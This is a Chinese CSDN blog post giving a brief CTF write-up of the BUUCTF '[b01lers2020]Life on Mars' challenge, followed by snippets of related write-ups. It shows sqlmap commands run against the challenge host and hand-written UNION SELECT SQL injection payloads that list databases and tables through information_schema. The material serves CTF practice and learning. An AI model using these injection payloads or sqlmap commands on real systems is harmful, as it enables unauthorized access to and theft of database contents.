[b01lers2020]Life on Mars 1

最新推荐文章于 2023-08-21 09:40:15 发布
最新推荐文章于 2023-08-21 09:40:15 发布
阅读量140 收藏
点赞数 1
文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_73728268/article/details/129917884
版权

[b01lers2020]Life on Mars 1

sqlmap去扫描
sqlmap -u http://54d0926e-3557-4dd1-892c-7ac5a5adb509.node4.buuoj.cn:81/query?search=amazonis_planitia --dbs
在这里插入图片描述
sqlmap -u http://54d0926e-3557-4dd1-892c-7ac5a5adb509.node4.buuoj.cn:81/query?search=amazonis_planitia -D “alien-code” --tables
在这里插入图片描述
手撸一个payload：
/query?search=amazonis_planitia+union+select+1,group_concat(schema_name)+from+information_schema.schemata

Harder.
关注
BUUCTF__[b01lers2020]Life on Mars_题解
风过江南乱的博客
05-06 752
BUUCTF [b01lers2020]Life on Mars sql联合注入
BUUCTF [b01lers2020]little_engine
weixin_53349587的博客
01-06 395
1.拿到文件，进入主函数： 这个是动调之前的主函数，开始动调： 其中，已知字符串已经给出，为unk_5617CE521220，一共300位： 进入加密函数sub_5608DAAB8510： 通过多次动态调试，得到了加密算法的逻辑。 看判断函数sub_5608DAAB85A0： 综上，写出加密脚本： a = [0xE1, 0xE6, 0xD0, 0x4A, 0xF2, 0xC3, 0x7E, 0xAA, 0xE6, 0xFC, 0x42, 0xB2, 0xF..
[b01lers2020]Life on Mars1
最新发布
mlws1900的博客
08-21 249
search=这个参数一直在发生改变。可以发现它返回了json格式的数据，猜测是sql注入。放进hackbar进行操作。后面就是sql注入一梭子。orderby进行判断。看到回显点，进行查询。
BUUCTF--[b01lers2020]Life on Mars
qq_46263951的博客
07-22 506
进入页面后什么也没发现，通过抓包看到一个可以参数 跟着参数走可以看到一个这样的页面 看大佬的wp接下来使用联合查询进行探测 当查询两个字段时可以正常显示 /query?search=amazonis_planitia union select 1,2 使用sqlmap扫描 扫描到这几个库，看名字应该是在alien_code中 扫描该库的表 扫描该表的列名 然后使用sqlmap --dump 不出来内容，只好手动 成功获得flag...
BUUCTF：[b01lers2020]Life on Mars
末初的CSDN博客
08-01 2120
题目地址：https://buuoj.cn/challenges#[b01lers2020]Life%20on%20Mars 一个关于火星生命的科普站，目录扫描啥都没发现，用burp抓两个包分析一下，发现几个可疑传参 /query?search=如果地名输入正确，发现返回如下 order by判断字段，2字段时回显正确 union联合查询：/query?search=amazonis_planitia union select 111,222 回显点如图所示： 查库：/query?search=a
[b01lers2020]Life on Mars
qq_57861415的博客
04-02 142
[b01lers2020]Life on Mars
BUUCTF-CRYPTO-[b01lers2020]safety_in_numbers
zippo1234的博客
10-26 967
BUUCTF-CRYPTO-[b01lers2020]safety_in_numbers[b01lers2020]safety_in_numbers题目分析开始1.题目2.分析（1）pubkey.pem（2）小端存储（3）解法3.上脚本：4.get flag结语 每天一题，只能多不能少 [b01lers2020]safety_in_numbers 题目分析 1.pub.pem读取 2.n很大，或者说m^e相比于n很小。 开始 1.题目 给了三个文件 pubke.pem储存了n和e。 flag.enc是加密
[b01lers2020]Welcome to Earth
qq_40327508的博客
11-28 910
一直自动跳转/die/页面，抓包尝试 查看chase目录 后面就一路找，但是没找到什么有用的信息 看了wp才知道，关键点在js文件中 /static/js/door.js 最后来到static/js/fight.js 重新排序flag即可 from itertools import permutations flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"] item = permutations(flag) f
b01lers-ctf-2020:b01lers-ctf的公开发布文件
05-17
b01lers-ctf b01lers-ctf的公开发布文件。 您将找到以下目录： rev：Rev的挑战 pwn：Pwn挑战 加密：加密挑战 网络：网络挑战 杂项：其他挑战 分布式文件：我们在CTF期间分发供下载的tgz文件 以及比赛的比分牌。 ...
[b01lers2020]Life on Mars WRITE UP
Swee
09-21 444
拿到网站没啥好说的，基本是静态的页面，先抓包。 发现包有问题，search参数 非常的奇怪 经初步判定有SQL注入 ORDER BY 2 得到 有两个参数 进行联合查询,得到所有数据库的名称 发现有个贼奇怪的 叫alien_code 进去看看 /query?search=amazonis_planitia%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_sc
[b01lers2020]Life on Mars （难发现的sql注入）
qq_62046696的博客
11-21 590
打开界面以后，查看各种都没有提示，果断扫描目录，但也是没获得什么。到这里只能burp抓个包看看 抓包两个界面发现了get传参，考虑是否存在sql注入尝试额以后发现只返回了一个1，试一下别的引号闭合 直接进行查询所有的数据库名 看一下alien_code数据库 发现code表 ?search=hesperia_planum/**/union/**/select/**/group_concat(id),group_concat(code)/**/from/**/alien_code.cod
MG1561B01-6显示屏规格书-2021年版
1. **产品概述** (1.1 Product Features): 提供了MG1561B01-6的关键特性和功能，这些特性可能是LED显示屏或其他光学电子设备的核心性能指标，如高亮度、低功耗、高分辨率等。 2. **产品总览** (1.2 Overview): 这...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值